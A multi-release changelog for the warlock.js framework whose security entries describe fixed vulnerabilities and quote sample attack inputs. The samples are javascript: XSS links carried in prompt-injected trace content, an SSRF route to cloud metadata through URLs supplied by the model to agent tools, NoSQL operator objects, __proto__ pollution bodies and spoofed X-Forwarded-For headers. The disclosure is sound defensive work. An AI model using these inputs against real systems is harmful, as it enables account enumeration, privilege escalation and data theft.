Dependencies Project template (templates/warlock/package.json) @mongez/* deps bumped: @mongez/localization to ^3.4.7, @mongez/supportive-is to ^2.1.4, @mongez/agent-kit to ^1.2.1.
Dependencies Project template @warlock.js/* deps were pinned at the stale 4.0.119 — rewritten to the current lockstep version 4.15.0 to match the published @warlock.js/* packages.

@warlock.js/ai-panoptic Security 2

Security Dashboard stored XSS via javascript: markdown links — fixed. The dashboard's markdown link renderer (mdInline in ui.html.ts) rewrote text into a live <a href> without validating the URL scheme, so a javascript: URL embedded in captured trace content (span.input / span.output under captureContent — i.e. prompt-injected model output or attacker-controlled tool results) became a stored XSS that fired when an operator clicked the link; the page's CSP (script-src 'unsafe-inline') permits javascript: URI execution and does not restrict top-level navigation, putting the in-page bearer token in reach. Link URLs are now checked against a scheme allowlist (http:, https:, mailto:, plus relative/anchor URLs) after normalizing the URL the way a browser will — attribute-entity decode, strip of ignored control chars/whitespace (java\tscript:), lowercase — and scheme-relative //host links are rejected too; a rejected URL renders its label as plain text with no href at all. Regression-tested by executing the actual inlined client renderer against javascript:/data:/vbscript: payloads and their case/whitespace/entity obfuscations (ui.html.md-links.spec.ts)
Security Dashboard token-handling hardening (3 residual findings from the same audit as the XSS above). None of these are exploitable on their own today, but each widened the blast radius of a future bug: - *Bearer token no longer a page-global.* ui.html.ts's client script kept TOKEN as a var shared across its whole ~1000-line closure. It's now sealed inside its own inner IIFE that exposes only the fetchAuthed helper — code elsewhere in that closure (present or future) can no longer read the raw token by name. - *Constant-time token comparison.* serve.ts's isAuthorized compared the header/query token with plain ===, which short-circuits on the first differing byte and is a textbook timing side-channel — the one scenario the package's own docs call out as realistic (authToken is required specifically when bound off-loopback, i.e. reachable over a network). Both the header and query-string checks now go through crypto.timingSafeEqual on length-checked, equal-length buffers. - *Token-in-URL narrowed to the one route that needs it.* ?token= is no longer accepted on the JSON API routes, only on the HTML page route. The page's own polling already re-sends the token as an Authorization header (fixed in 4.8.2), so the only request that structurally *can't* carry a header is the initial browser navigation that loads the HTML shell — that's the sole remaining query-string exposure, narrowing the token's footprint in access/proxy logs and browser history from every poll to one request.

@warlock.js/ai-tools Security 2

Security fetch_url and http_request now deny private-network targets by default and route through @warlock.js/ai's hardened guardedFetch instead of a local host check. Previously allowHosts was the *only* SSRF guardrail and it was opt-in — a bare ai.tools.fetchUrl() / ai.tools.http() would fetch any http(s) URL the model supplied, including http://169.254.169.254/latest/meta-data/..., localhost, and RFC1918 addresses, and neither tool re-validated redirect targets, so even a configured allowlist could be 302'd into an internal endpoint. Both tools now issue every request through the core outbound policy, which by default refuses private / loopback / link-local / CGNAT / cloud-metadata addresses — resolving hostnames through DNS and checking every returned address, failing closed on resolution failure — and re-validates every redirect Location (scheme, allowlist, private-IP deny) before following it, with a hop cap and cross-origin credential-header stripping. Blocks surface as the existing typed errors (WebToolError type: "denied-host", HttpPolicyError type: "host-not-allowed"), so agents still read them as { error } data
Security New allowPrivateNetwork option (default false) on both tools for the deliberate case of a tool that must call an internal service (e.g. a local dev server); allowHosts still works and now also constrains redirect targets

@warlock.js/auth Security 1 Dependencies 1

Security Login credential lookups are no longer vulnerable to NoSQL operator injection. authService.attemptLogin forwards the request's credential fields (e.g. email, phoneNumber) into Model.first(...) to find the user, so a caller that passed request JSON straight through could smuggle a MongoDB operator object — { email: { $ne: null } }, { email: { $regex: "^a" } } — into the user-lookup filter, breaking its intended equality semantics and enabling account enumeration / targeted-lookup attacks (the password is still verified separately with bcrypt, so this was never a full bypass on its own). The fix lands in @warlock.js/cascade 4.16.0, whose query builder now rejects $-prefixed keys in equality position (UnsafeFilterError); because attemptLogin's lookup routes through cascade, upgrading the family to 4.16.0 closes this with no change to your auth code. If you build user lookups by hand, keep passing scalars — or use the explicit operator API — rather than forwarding raw request objects.
Dependencies Bumped @mongez/events to ^2.2.7 (no breaking changes) and @mongez/reinforcements to ^4.0.1. The reinforcements major makes Random.string/nanoid/id/token/uuid CSPRNG-backed (WebCrypto) and removes Random.seed() support. This package calls Random.string(32) (device familyId fallback) and Random.token(32) (JWT secret generation) — both are exactly the security-sensitive uses the CSPRNG backing is meant to strengthen, and neither relied on seeding; audited for Random.seed( with no hits, so no code changes were needed.

@warlock.js/seal Security 1 Dependencies 1

Security Renamed safeHtmlMutator/.safeHtml() to stripTagsMutator/.stripTags(). The old name implied XSS safety it never provided — the implementation is a naive <[^>]*> regex, not an HTML parser, and can be defeated by malformed/nested markup or content re-introduced later in a pipeline. A developer building v.string().safeHtml() for user-supplied rich text was liable to treat the output as pre-sanitized and skip further output encoding, opening a stored/reflected XSS path. The new names and doc comments make clear this is tag-stripping only; use a real parser-based sanitizer (DOMPurify / sanitize-html) for untrusted rich text. safeHtmlMutator and .safeHtml() remain as deprecated aliases (same behavior, @deprecated JSDoc pointing at the new names) so existing callers do not break.
Dependencies Bumped @mongez/supportive-is to ^2.1.4 (no breaking changes) and @mongez/reinforcements to ^4.0.1. The reinforcements major makes Random.string/nanoid/id/token/uuid CSPRNG-backed (WebCrypto) and removes Random.seed() support — audited this package's source and tests for Random.seed( and for seeded/reproducible use of Random.*; none found, so no code changes were needed.

@warlock.js/access Security 1

Security Instance-level checks (a resource supplied to check/authorize) that match an RBAC grant but have no registered ABAC policy now emit a one-time log.warn naming the permission, instead of silently falling back to the RBAC grant alone — a typo'd permission name or a forgotten import "./policies" side-effect previously degraded a resource-scoped check to a class-level one with no runtime signal, a silent IDOR footgun. Fail-closed/fail-open semantics are unchanged everywhere else; this is visibility only. Added an opt-in strictPolicies: true access config flag that throws AccessConfigError instead of warning, for apps that want the gap to fail the request/boot rather than just log.

@warlock.js/context Security 1

Security update() and set() now drop __proto__ / constructor / prototype keys instead of merging them. update() merged with Object.assign(store, updates), which does not create a __proto__ property — it invokes the inherited setter and reparents the store. An app that forwards request-shaped data into a context (tenantContext.update(req.body), or set(key, value) with a caller-supplied key — both close to patterns the README shows) therefore handed a body of {"__proto__":{"isAdmin":true}} a way to pollute Object.prototype for the whole process. Because the polluted object is a *shared* context store, that turns an app-level slip into a cross-request, cross-tenant authorization problem: every later lookup of a missing property anywhere in the process resolves through the attacker's object

@warlock.js/fs Security 1

Security fs.files.mergeJson() / File#mergeJson() now drop __proto__ / constructor / prototype keys from both sides of the merge, at every depth. The deep-merge path assigned with output[key] = value, and for a key of __proto__ that is not a property write — it invokes the inherited setter and reparents the merged object. JSON.parse is itself safe but happily produces an own property with that name, so mergeJson(configPath, requestBody) — the natural shape for a "PATCH this JSON config" endpoint — let a partial of {"__proto__":{"isAdmin":true}} poison the object being written, and any property lookup against the in-memory result resolved through the attacker's data

@warlock.js/notifications Security 1

Security BaseNotificationsRepository.createFor no longer lets the channel payload override server-owned row keys. The payload was spread after the trusted recipientId, so an untyped caller (e.g. a payload assembled from request JSON, or notify.channel(name).send) carrying a recipientId key — or the model's physical recipient column name — could write the notification into another recipient's inbox, contradicting the recipient-scoping guarantee. Server-owned keys (id, recipientId, tenant, readAt, isRead, and their resolved physical columns) are now stripped from the payload at runtime and the trusted arguments are applied last; legitimate fields (type, title, body, payload, idempotencyKey) pass through unchanged. createManyFor inherits the fix.

4.15.0

August 16, 2026

@warlock.js/ai lands a batch of type + mock-SDK fixes: ctx.run now stringifies a non-string payload, ToolMeta keys are optional, new Error(msg, { cause }) compiles, and the mock honours usage/deltas. @warlock.js/herald fixes a non-idempotent lazy amqplib loader that could race concurrent loads and silently poison test isolation.

@warlock.js/ai Changed 3 Fixed 6

Changed MockModelResponse.usage is a new MockUsage type rather than the emitted Usage. The script is an input, not a result: MockModel.buildResponse honours only input / output / cachedTokens, so a fixture declaring cost or reasoningTokens was silently discarded while the type promised otherwise. total is optional and documented as derived, because the mock recomputes it as input + output — an existing spec deliberately asserts that a mismatched scripted total is overridden
Changed The mock honours deltas. Fixtures already declared the field; the mock ignored it
Changed MockSDK.model() declares its MockModel return type — it always returned one, so callHistory is now reachable without a cast. MockUsage is exported from the barrel
Fixed ctx.run(agent, payload) now stringifies a non-string payload, as it always claimed to. coerceInlineInput in src/supervisor/execution.ts gated on !("signature" in executable) to decide whether the target was an agent — but every member of SupervisableExecutable (AgentContract, WorkflowInstance, SupervisorContract) declares signature, so the condition was permanently false and the coercion never ran. A supervisor intent calling ctx.run(someAgent, { question: "why", attempt: 2 }) handed the raw object to agent.execute(), where it landed as the user message content — [object Object] in the prompt, or a provider-side payload rejection, depending on the adapter. The check now discriminates on isAnonymous, the one member unique to AgentContract. A regression test covers it; the old guard fails it with Expected: "string" / Received: "object". The unreferenced isSupervisor() duck-type helper — whose own JSDoc admitted it could not tell a supervisor from a workflow — is removed
Fixed ToolMeta no longer forces label and actionLabel on every tool that supplies meta. It was declared as Record<"label" | "actionLabel" | (string & {}), unknown>, which makes both keys required, not optional — so any tool author who set one metadata field was made to set all of them. Now an optional-key shape with an index signature
Fixed ToolConfig.action is checked bivariantly, via a ToolActionResolver<T> method-in-wrapper. The strictly contravariant parameter position rejected heterogeneous tool arrays that work correctly at runtime
Fixed new Error(msg, { cause }) compiles. tsconfig.json declared no lib, so it inherited the target default of ES2020, where ErrorOptions does not exist. lib is now ["ES2022"]; this also resolves the Array.at and String.replaceAll errors. Emit is unchanged — target is still ES2020. Note src/skills/sources/url-source.ts:122 was not a defect: the cause was always passed at runtime, the compiler simply had no type for it
Fixed TeamMemberValue accepts the callback member form (IntentCallback), which has always worked at runtime and was only rejected by the type
Fixed PlanSchema no longer erases ~standard.jsonSchema from its return type

@warlock.js/herald Fixed 4

Fixed The RabbitMQ driver's lazy amqplib loader was not idempotent under concurrent callers. It cached the resolved module in a module-level binding but nothing guarded the load itself, so two loads could be in flight at the same time and the last one to settle won the binding. The eager, unawaited loadAmqplibModule() call at module scope was one of those callers by construction — it started a load nobody was waiting on, which then raced the awaited call from connect(). That eager call has been removed: connect() already awaits the loader, so it bought nothing but the race. The loader now memoizes the in-flight promise itself, so the first caller starts the import() and every later caller awaits that same one
Fixed No user-visible misbehaviour is known in production — both racing paths resolve the same real amqplib, so whichever won, callers got the module they expected. The observable damage was in test isolation: when a test was aborted mid-await import(...), the racing loads could leave the binding holding the real amqplib while the test file's vi.mock("amqplib") was still active, so every later test in that file silently bypassed the mock and opened a real socket. Proven by instrumentation — the driver held a live ChannelModel on ::1:5672 while import("amqplib") inside the same test still returned the mock, which is how a green test could be green for the wrong reason
Fixed Verified by a timeout sweep, not by a passing suite. The full suite passed both before and after (13 files / 137 tests), because the fault only surfaces when the first test is starved of time. Running tests/connect-to-broker.test.ts at --testTimeout=3000 and 4000 previously timed out the first test *and* took wraps a connection failure with the driver name down with it, failing in ~50 ms with promise resolved "Broker{…}" instead of rejecting — the mock was gone. With the loader fixed, that test passes at every timeout even while the first test still times out: starving one test can no longer poison the next
Fixed The first test also paid a cold-transform cost inside its own timed body, since connectToBroker dynamically imports the driver, which pulls in @warlock.js/seal and @warlock.js/logger as raw TS source. That work moved to a beforeAll warm-up. This is a test-timing change only and carries none of the correctness weight above — the loader fix stands on its own without it

@warlock.js/ai-google Added 3 Changed 2 Fixed 1 Deprecated 1

Added GeminiImageModel — a Gemini-native image path over ai.models.generateContent (new src/gemini-image.ts, exported as GeminiImageModel). Requests responseModalities: ["TEXT", "IMAGE"] (override the list verbatim with options.responseModalities), maps aspectRatio / imageSize / personGeneration onto Gemini's config.imageConfig, and reshapes inline image parts that come back into the same GeneratedImage[] ({ type: "base64", base64, mediaType }, image/png fallback) the Imagen path emits — so ai.image()'s envelope is unchanged for callers
Added Token usage is passed through on the Gemini image path instead of hard-zeroed. Whatever usageMetadata Google attaches becomes usage.input / output / total (plus cachedTokens / reasoningTokens when reported > 0); only an absent block collapses to zeros. The Imagen path stays a flat zero because Imagen reports no tokens at all. Price these models with { input, output } rather than { perImage }, and check the first live usage — whether these models report tokens is not confirmed here. The mapping is now a shared applyGoogleUsage util used by both the chat model and the image model, so one rule decides what a Gemini token report means package-wide
Added A response with no image part is never a silent empty success: a blocked prompt (promptFeedback.blockReason) or a safety/policy finishReason (SAFETY, IMAGE_SAFETY, PROHIBITED_CONTENT, IMAGE_PROHIBITED_CONTENT, RECITATION, IMAGE_RECITATION, BLOCKLIST, SPII) throws ContentFilterError carrying the reason; a text-only answer throws ProviderError quoting the text the model returned; anything else throws ProviderError naming the part count and finish reason
Changed @google/genai moves from ^2.4.0 to ^2.17.1 (2.17.1 is what installs today). The Gemini image path does not depend on the bump — models.generateContent exists in both — but the older range predates the deprecation notice above and predates ai.interactions, so staying on it meant documenting an SDK surface the package could not reach. The 11 suites / 149 specs in this package pass unchanged on 2.17.1. Note this re-resolved the whole workspace lockfile, not just this package's dependency
Changed GoogleSDK.image() returns GeminiImageModel for a gemini- id. This is routing, not validation — no id is rejected locally: an id matching neither family takes the generateImages route, the only route that existed before, so every id that reached Google before still reaches Google the same way and still fails (or succeeds) at the provider
Fixed google.image({ name: "gemini-…" }) no longer hits the endpoint that 404s it. ai.models.generateImages routes to {model}:predict (generateImages → generateImagesInternal → formatMap('{model}:predict', …) in @google/genai's bundle), which does not serve the Gemini image models — the call came back 404 models/… is not found for API version v1beta, or is not supported for predict. GoogleSDK.image() now picks the transport from the id: a gemini- id (with an optional models/ resource prefix) gets the new generateContent implementation, everything else keeps GoogleImageModel / generateImages. Scope of the proof: two levels. Measured here — on the new transport such an id got as far as a quota error (HTTP 429) instead of the 404, which establishes that the endpoint accepts the id. Reported by the maintainer — once billing was enabled on the project, the path returned an image end-to-end from an application running a locally linked build of this package. No test in this package calls Google; the suite proves the request shape and the error mapping, not the round trip
Deprecated **Google has deprecated generateImages, the transport the imagen-* path still uses.** Verbatim from the @google/genai runtime warning: *"The generateImages method is deprecated and will be removed in the next major release (not before Jan. 1 2027). Please use the generateContent method with image models instead. See https://ai.google.dev/gemini-api/docs/deprecations#imagen-models and https://docs.cloud.google.com/gemini-enterprise-agent-platform/models/capabilities/image-generation#generate-images"* (editImage carries the same notice.) Nothing breaks today and the Imagen path is unchanged, but it is on a clock: new image work should prefer a gemini- id. The warning is emitted by @google/genai ≥ 2.17; with the bump below, this package now prints it whenever the imagen-* path is used

@warlock.js/ai-openai Changed 3 Fixed 1

Changed openai moves from ^6.34.0 to ^7.4.0. The runtime was unaffected: the full suite — 13 files / 208 tests — passed on 7.4.0 *before* any of the type fixes below were made, so nothing about the wire shape this adapter sends or the responses it reads changed across the major. Every fix in this release is a compile-time one.
Changed OpenAI.Images.ImageGenerateParamsBase is no longer reachable upstream — openai 7 split image generation into ImageGenerateParamsNonStreaming / ImageGenerateParamsStreaming and stopped re-exporting the shared Base interface from the Images namespace. image.ts now sources its quality / output_format / background value types from ImageGenerateParamsNonStreaming, which is what the request body was already typed as and what the non-streaming images.generate overload accepts. The three fields are inherited from Base unchanged, so the accepted values are identical.
Changed ChatCompletionTool became a union (ChatCompletionFunctionTool | ChatCompletionCustomTool) now that Chat Completions carries custom tools. .function is no longer reachable without the type discriminant, so the tool-conversion specs narrow on type === "function" and throw on anything else — a custom-tool regression fails loudly rather than silently skipping the assertion it used to make.
Fixed OpenAISDKConfig.provider is a usable string again. openai 7 added its own provider?: Provider key to ClientOptions — an opaque branded object minted by createProvider() — and our intersection collapsed the field to Provider & string, a type no string literal can inhabit. The config now omits the upstream key (Omit<ClientOptions, "provider">) before declaring its own label. No behavior change: the constructor already peeled provider off and never forwarded it to the OpenAI client.

4.14.0

August 16, 2026

@warlock.js/core adds teardownTest() to close a framework a test brought up and scopes test-lifecycle state to the worker runtime instead of the module. Two breaking setupTest changes: an explicit { connectors } now wins over tests.connectors config, and a conflicting concurrent call rejects instead of being silently ignored.

@warlock.js/core Added 1 Changed 3 Fixed 1

Added teardownTest() — the other half of the pair. setupTest has shipped without a counterpart since it was introduced: there was no supported way to close the framework a test file brought up, and the only "reset" available was a module flag that proved nothing about whether ports, sockets, pools or timers had actually closed
Changed BREAKING — an explicit setupTest({ connectors }) now wins over tests.connectors config. The order was config > parameter > true; it is now explicit parameter > config > true
Changed BREAKING — a conflicting setupTest call rejects instead of being ignored. While a setup is starting or ready, a call with _different_ effective options now rejects with an error naming both the active and the requested selection. The same options remain a no-op, and concurrent identical calls share one startup
Changed Lifecycle state is now scoped to the worker runtime instead of the module. isSetupComplete was a module-level variable, and Vitest rebuilds the setup module's registry between test files while the worker process or thread keeps running — so the flag reset in exactly the situation where live DB connections, pools and timers survive
Fixed A stranded setup no longer exhausts the heap. A lifecycle left in the starting state sent teardownTest's wait-then-re-enter path into unbounded recursion — FATAL ERROR: JavaScript heap out of memory at 4 GB, killing the worker with 26 tests in that run never executed. It was found while proving the state machine, not reported by a user, and it would have shipped

@warlock.js/ai-openai Changed 1 Removed 2

Changed openai.image({ name }), openai.speech({ name }) and openai.transcribe({ name }) no longer reject an unknown model id at construction — the id is forwarded to OpenAI as given, so an id OpenAI does not serve now fails as a typed provider error instead of a local InvalidRequestError.
Removed BREAKING — isOpenAIImageModel() and OPENAI_IMAGE_MODEL_PREFIXES are no longer exported; the known-image-models module is deleted. Nothing in the adapter read them once the construction-time gate went away, so they were a public list of model ids that enforced nothing and went stale on OpenAI's release schedule, not this package's. Import them from nowhere — branch on your own id list if you need one.
Removed BREAKING — isOpenAISpeechModel() and isOpenAITranscriptionModel() are no longer exported either, for the same reason. Once their construction-time gates went away nothing in the adapter read them, leaving two more public model-id lists that enforced nothing. No @warlock.js/ai-* adapter validates a model id locally, so the package no longer ships a helper that implies otherwise — branch on your own id list if you need one.

@warlock.js/ai-google Changed 1 Removed 1

Changed google.image({ name }) no longer rejects a non-imagen-* model id at construction — the id is passed through to ai.models.generateImages as given, so an id Google does not serve now fails as a typed provider error instead of a local InvalidRequestError
Removed BREAKING — isGoogleImageModel() and GOOGLE_IMAGE_MODEL_PREFIXES are gone from the public API. Both were dropped from the package entrypoint and the module deleted; importing either from @warlock.js/ai-google is now a compile error. With the construction-time guard gone (below) they enforced nothing and only invited callers to re-implement a model allow-list the framework does not own — a model id is the provider's to rule on, so there is nothing left for a local list to say. Callers that branched on the Imagen family should match on the id themselves (name.startsWith("imagen-")) or, better, stop branching and let the provider answer

4.13.0

August 12, 2026

@warlock.js/core adds build.singleBundle for a single runnable node dist/app.js, makes @warlock.js/core/tests and @warlock.js/core/vite real importable subpaths, and fixes setupTest() crashing in a project without a tests config plus the test request helpers dropping falsy JSON bodies (false/0/""/null).

@warlock.js/core Added 2 Fixed 13

Added build.singleBundle — one file you can run with node dist/app.js. The default build keeps dependencies as real import specifiers resolved from node_modules, which is right when you deploy the folder. Producing a single self-contained file previously meant knowing to set packages: "bundle" and splitting: false, and it still did not work
Added @warlock.js/core/tests and @warlock.js/core/vite are real subpaths, with their own build entries and exports keys — the first version in which those helpers are addressable at all. /tests carries the 13 documented test helpers; /vite carries lowerStage3Decorators
Fixed setupTest() no longer crashes in a project that has no src/config/tests.ts. config.get("tests") resolves an absent key to null, and the result was dereferenced — so the very path warlock add test generates threw Cannot read properties of null (reading 'connectors') before running a single test. setupTest() with no arguments at all threw one step earlier still, on a destructured parameter with no default
Fixed The request helpers send falsy JSON bodies. testPost, testPut and testPatch used body ? JSON.stringify(body) : undefined, so false, 0, "" and null — all legal JSON documents — were sent as no body at all. Only an omitted argument now means "no body"
Fixed Shutdown survives a throwing log channel. A connector whose shutdown() failed was reported through log.error(...) from inside the catch block — and Logger.log() hands each entry to channel.log() with no isolation, so a channel that throws synchronously (a misconfigured transport, an unserialisable payload) made that report reject. The rejection escaped shutdown() entirely, and the consequences went well past a missing log line: log.flush() never ran, so every buffered entry from the whole run was lost; the remaining connectors were never torn down; and process.exit(0) — the line gracefulShutdown runs once shutdown() resolves — was never reached, leaving the process alive on the handles those connectors still held
Fixed A test server that fails to start no longer leaves half of itself running. startHttpTestServer() publishes the resolved port before the late connector phase and sets isServerRunning only on its last line, so a failure in between left live early-phase connectors and a published port pointing at a server that never came up — while stopHttpTestServer() in globalTeardown reported _"No server to stop"_ and walked away from them. Startup now unwinds what it started, always withdraws the port and resets its state. ⚠ The error you get back is unchanged — it always was. Startup had no catch at all, so the original failure already propagated correctly; what was missing was the cleanup, and the new catch exists only to run it. A failure _during_ that cleanup is reported and never substituted for the cause, which is the one propagation guarantee the wrapper had to be careful not to break
Fixed startHttpTestServer({ port: 0 }) is refused with an instruction instead of half-working. 0 is the OS's "pick a free one" idiom, and the test server cannot honour it: the preflight would bind some unrelated ephemeral port and pass without proving anything, and nothing publishable exists afterwards — HttpConnector.start() records the port it asked for, not the one Fastify bound. Accepting it silently meant getTestServerUrl() resolved 0 through its own config fallback and every worker request went to http://host:0, where nothing listens. The error names the fix: pass an explicit port, or set http.port
Fixed ⚠ BREAKING — the package entry no longer re-exports the CLI, the dev server, the test helpers or the Vite integration. Five export * lines are gone from @warlock.js/core's root: ./cli, ./dev-server/files-orchestrator, ./dev-server/health-checker, ./tests and ./vite
Fixed ⚠ BREAKING — the CORS allow-list in http.cors now actually applies. The framework's defaults were spread after your configuration, so { origin: "*", methods: "*" } overwrote whatever you set. http.cors has never had any effect, in any release up to 4.12.0 — an app that configured an allow-list still answered every origin. Your configuration now wins
Fixed ⚠ BREAKING — http.bodyLimit no longer defaults to 200 GB. An app that configures nothing now gets Fastify's own 1 MB limit. The previous default did not merely allow large bodies, it replaced a protection Fastify provides: an unauthenticated endpoint accepted a 5 MB body and ran application logic on it where bare Fastify would have answered 413
Fixed ⚠ BREAKING — http.trustProxy now defaults to false. request.ip was derived from the client-supplied X-Forwarded-For header by default, and @fastify/rate-limit keys its buckets on request.ip — so a client sending a different X-Forwarded-For on each request got a fresh rate-limit bucket every time. Any deployment not behind a proxy that strips the header had bypassable rate limiting, and the same applied to per-IP lockouts and audit logs
Fixed Per-route serverOptions are no longer discarded by the dev server. scanDevServer registers wildcard routes and dispatches per request, so it had no per-route registration slot and dropped serverOptions entirely. A route declaring serverOptions.onRequest — the documented way to run before body parsing — worked in production and silently never ran in dev, which is the only mode most teams run. route.rateLimit was dropped the same way, since it rides in the same options object
Fixed The dev server no longer rebuilds its entire route registry on every request. A comment claimed the registry was initialised "once" and pointed at a rebuildRouteRegistry function that does not exist; the code sat inside the per-request handler, re-registering every route on every hit — and router.any() routes expand into seven registrations each. It is now built once and rebuilt when the route table changes
Fixed The dev dispatcher logs through the framework logger instead of console.log(error), with the request method and url attached
Fixed A bundled production build no longer succeeds and then dies at startup. Setting packages: "bundle" produced a clean build whose process failed immediately with Error: Dynamic require of "node:assert" is not supported. Warlock's output is an ES module; bundled CommonJS dependencies call require(...) and read __dirname to locate their own assets, and neither exists in an ES module, so the bundler substituted a stub that throws. The only fix available to an application author was to hand-write an esbuild banner recreating require via createRequire(import.meta.url) — esbuild internals no app should need to know

4.12.0

August 11, 2026

@warlock.js/core adds warlock migrate --pending — what will run next, in execution order, with exit codes you can gate a deploy on — and stops two CLI flags doing the opposite of what they say: migrate --rollback=false dropped every table, and generate.module --force=false overwrote your files, because boolean options were parsed as raw strings and "false" is truthy. @warlock.js/auth closes a token-expiry hole: an unparseable expiresIn minted a JWT with no exp claim, such a token was then accepted forever, and the rows were never purged — tokens are now rejected at issue and at verification, and auth:purge-never-expiring finds and revokes the ones already in your database. @warlock.js/core also fixes Image and renderReact racing their own optional-dependency imports, where a constructor could run before sharp or react had loaded and fail with not a function.

@warlock.js/core Added 1 Changed 2 Fixed 8

Added warlock migrate --pending — what will run next, in the order it will run. migrate could report what had already run (--list) and what files existed on disk (--all), but not the one thing an operator asks before a schema change against a live database. The pending set was already computed on every migrate run; it simply had no read-only exit
Changed migrate's preload block no longer declares env: true. The flag has done nothing since env began loading for every command that declares a preload block; it was decoration, and the test suite now asserts its absence so it is not re-added by someone reading the still-deprecated type
Changed The package now declares its own test runner and a test script. @warlock.js/core shipped a maintained vitest.config.ts — aliasing eight sibling packages to their sources — with no devDependencies key at all and no way to invoke it. Its suite was reachable only by knowing to type npx vitest, which resolves whatever happens to exist in the tree rather than anything the manifest asked for. The runner is pinned to an exact version, not a range: it moved from 4.1.8 to 4.1.10 mid-development on an unrelated install, silently, and a suite whose runner can change underneath it proves less than it appears to
Fixed A build artifact that names an entry point it does not contain is now refused before it can be packed. An interrupted build leaves a directory that looks finished — package.json, README, CHANGELOG, bin/, skills/ — and holds no compiled code at all. Nineteen existed in this tree at once, and nothing in the release path noticed: the only related guard compares modification times, so a hollow directory with a freshly written manifest is _newer than source_ and passes, and it runs solely on the artifact-reuse path, which is not how the hollow directories were produced
Fixed The production acceptance gate no longer inherits the environment it is supposed to be testing. run-pnpm-acceptance.mjs spawned every child with env: { ...process.env } and set no NODE_ENV. It exercised the production path only because the shell it was written in happened to carry NODE_ENV=production; on a clean checkout, a new contributor's machine, or CI, the same gate boots the app in development — and does not fail, it passes while testing something other than the thing it is named after. That is the worst outcome available to a gate, and it sat underneath the proof for 4.11.0's headline fix
Fixed warlock migrate --rollback=false no longer drops every table. CLI options were parsed as raw strings and nothing ever coerced them: --rollback=false reached the action as the string "false", if (rollback) saw a truthy value, and the run rolled back _everything_. The declared type: "boolean" on the option was decorative — used only to render help. The same shape existed on every boolean option, including warlock drop.tables --force=false, where it turned a confirmation prompt into an unattended drop
Fixed warlock generate.module users --force=false no longer overwrites your files. The coercion above is opt-in by design — it applies only to options a command declares type: "boolean", so a string option whose value is genuinely the word false survives. The generate family and add never carried that declaration, so the fix reached none of them and both faces of the defect stayed live on the commands most likely to be run against existing source
Fixed new Image(...) no longer fails depending on how soon you call it. The Image module fired import("sharp") at load time without awaiting it, and the constructor only checked whether that import had _failed_ — never whether it was still in flight. Constructing an image in the first tick after importing the package therefore ran with an undefined sharp function and died with TypeError: sharpFn is not a function; the exact same code passed if something had awaited a timer first. Anything that builds an image during boot — a startup thumbnail job, a module-level warm-up — hit it, and it presented as a mysterious "works locally, breaks in prod" timing bug rather than as a missing dependency
Fixed A sharp that is installed but will not load no longer reports itself as "not installed". The resolution above swallowed every failure into a single outcome, so the most common real-world sharp problem — the package present but its native binary built for another platform — arrived as sharp is not installed. plus instructions to run npm install sharp, which cannot fix it. sharp throws its own long, actionable error naming the runtime, the failing .node file and the exact install flags to use; that text was discarded and replaced with a different, wrong cause
Fixed renderReact() no longer renders against modules that have not loaded yet. The same defect as the two above, in a second module, found by looking for the pattern rather than by a bug report. react/index.ts fired import("react") and import("react-dom/server") at load time without awaiting either, and tracked them with a three-state flag that the guard only tested for one state: if (moduleExists === false). While the imports were in flight the flag was null, which is not false, so the guard passed and the synchronous renderReact read createElement off undefined. With two sequential dynamic imports the window is wider than the image module's, and it is open during exactly the work a server does at boot — rendering a page or an email template from a module-level warm-up
Fixed A broken react-dom/server no longer reports itself as react is not installed. The two packages were loaded in one try and collapsed into one flag, so any failure of either was attributed to react. The specifiers are now resolved and reported separately, and the message names the one that actually failed — Failed to load "react-dom/server": … — because sending an operator to reinstall react when react is fine costs them the debugging session. Absence is distinguished from breakage the same way as for sharp: MODULE_NOT_FOUND and a message naming the specifier exactly, quoted, which is also what stops 'react-dom' from satisfying a check for 'react'. Everything else surfaces the original error, inlined and chained as cause. A react-dom whose ./server subpath is missing from exports raises ERR_PACKAGE_PATH_NOT_EXPORTED, so it correctly reports as an incompatible install rather than an absent one

@warlock.js/auth Added 1 Changed 6 Fixed 3 Security 2

Added warlock auth.purge-never-expiring — remediation for rows written by the expiresIn defect below. Finds every access- and refresh-token row that can never retire itself, on two independent signals: an expires_at that is missing or unparseable, and a persisted token carrying no exp claim. Reports id, user_id, user_type and expires_at per row (never the token string — it is a live credential until the command removes it), then deletes them. Pass --dry-run to report without deleting.
Changed Potentially breaking: a JWT with no exp claim is rejected by jwt.verify / jwt.verifyRefreshToken. No supported configuration produces one: an app that wants a token that effectively never expires sets expiresIn: NO_EXPIRATION ("100y"), which mints a real exp about a century out (ms("100y") ⇒ 3155760000000; exp - iat ⇒ 3155760000 seconds). "No deadline" and "a distant deadline" are different things, and only the second was ever asked for. If you sign tokens with your own signer and feed them to this package's verifier, they must carry exp.
Changed Potentially breaking: RefreshToken.isExpired now answers true for a missing or unparseable expires_at; it previously answered false ("no expiry recorded ⇒ never expires"). That reading handed an unlimited life to precisely the malformed rows. expires_at is required in the schema — a row that cannot say when it dies is malformed, not immortal. AccessToken.isExpired is new and fails closed the same way.
Changed Potentially breaking: an invalid accessToken.expiresIn / refreshToken.expiresIn now throws on token issue instead of producing a token with a wrong or absent expiry. Valid configuration is unaffected — "1h", "7d", "30 days", NO_EXPIRATION ("100y"), the 1h access default when the key is absent, and the 7d refresh default all behave exactly as before. An empty string (e.g. env("JWT_TTL") with the variable unset) now throws rather than falling back; give the env read an explicit default.
Changed authConfig.accessToken.expiresInMs() / authConfig.refreshToken.expiresInMs() are the validated accessors token issuers must use; the raw expiresIn() accessors are unchanged.
Changed Removed the as ms.StringValue casts on both call sites. They were what let arbitrary config text compile against ms's template-literal type and reach the signer as undefined.
Changed Declares its own test runner and pins it to an exact version (vitest@4.1.10). The package is its own repository, so a runner resolved from a workspace root it may not be cloned with is a runner it cannot rely on. The pin is exact rather than a range because the version moved underneath the suite mid-development on an unrelated install — a suite whose runner can change without anyone choosing it proves less than it appears to
Fixed An expiresIn the ms package cannot parse no longer mints a credential that never expires. accessToken.expiresIn: "30dayz" (or "thirty days", or any truthy-but-unparseable value) made ms() return undefined, which the signer emitted as a JWT with no exp claim, alongside a token row whose expires_at was Invalid Date. The old guard tested the raw config string for truthiness, so the 1h fallback was unreachable in exactly the case it existed for. refreshToken.expiresIn had no fallback at all.
Fixed expiresIn: "0d" (and any non-positive duration) is rejected too. It is truthy and parses cleanly to 0, so it survived any guard that only rejects undefined — and fast-jwt skips its own validation for 0, emitting a token with no exp claim while the persisted row claims it expired immediately.
